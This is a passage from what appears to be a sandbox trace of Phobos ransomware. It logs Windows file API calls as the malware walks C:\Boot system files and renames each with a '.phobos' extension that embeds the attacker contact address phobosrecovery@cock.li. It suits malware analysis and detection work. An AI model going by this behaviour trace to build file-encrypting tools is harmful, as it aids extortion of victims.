"c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0147.784] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.784] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.794] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2373000) returned 1 [0147.794] CloseHandle (hObject=0x554) returned 1 [0147.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0147.795] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0147.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0147.797] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.797] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.800] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=143754) returned 1 [0147.800] CloseHandle (hObject=0x554) returned 1 [0147.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0147.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.800] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.801] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.801] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.804] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=145419) returned 1 [0147.804] CloseHandle (hObject=0x554) returned 1 [0147.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0147.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.805] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.805] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.805] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.807] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=164347) returned 1 [0147.807] CloseHandle (hObject=0x554) returned 1 [0147.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0147.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.826] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.826] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.826] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.826] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=75616) returned 1 [0147.827] CloseHandle (hObject=0x558) returned 1 [0147.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0147.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.827] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.827] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.827] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.827] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=75608) returned 1 [0147.827] CloseHandle (hObject=0x558) returned 1 [0147.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0147.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.828] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.828] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.828] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.828] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=811936) returned 1 [0147.828] CloseHandle (hObject=0x558) returned 1 [0147.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0147.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\memtest.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.829] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.829] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.829] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.829] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=75616) returned 1 [0147.829] CloseHandle (hObject=0x558) returned 1 [0147.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0147.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.829] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.830] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.830] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.832] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45472) returned 1 [0147.832] CloseHandle (hObject=0x558) returned 1 [0147.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0147.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.832] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.832] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.832] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.833] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=78176) returned 1 [0147.833] CloseHandle (hObject=0x558) returned 1 [0147.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0147.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.835] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.835] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.835] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.835] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45472) returned 1 [0147.835] CloseHandle (hObject=0x558) returned 1 [0147.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0147.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.836] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.836] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.836] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.836] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77656) returned 1 [0147.836] CloseHandle (hObject=0x558) returned 1 [0147.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0147.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.836] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.837] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.837] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.837] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45984) returned 1 [0147.837] CloseHandle (hObject=0x558) returned 1 [0147.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0147.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.839] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.839] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.839] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.839] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=76640) returned 1 [0147.839] CloseHandle (hObject=0x558) returned 1 [0147.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0147.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.840] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.840] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.840] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.840] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45472) returned 1 [0147.840] CloseHandle (hObject=0x558) returned 1 [0147.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0147.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.840] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.840] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.840] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.841] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=76640) returned 1 [0147.841] CloseHandle (hObject=0x558) returned 1 [0147.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0147.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.841] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.841] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.841] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.841] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45984) returned 1 [0147.841] CloseHandle (hObject=0x558) returned 1 [0147.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0147.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.842] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.842] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.842] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.843] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=74080) returned 1 [0147.843] CloseHandle (hObject=0x558) returned 1 [0147.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0147.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.843] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.843] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.843] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.843] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=54168) returned 1 [0147.843] CloseHandle (hObject=0x558) returned 1 [0147.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0147.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.844] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.845] CryptGenRandom 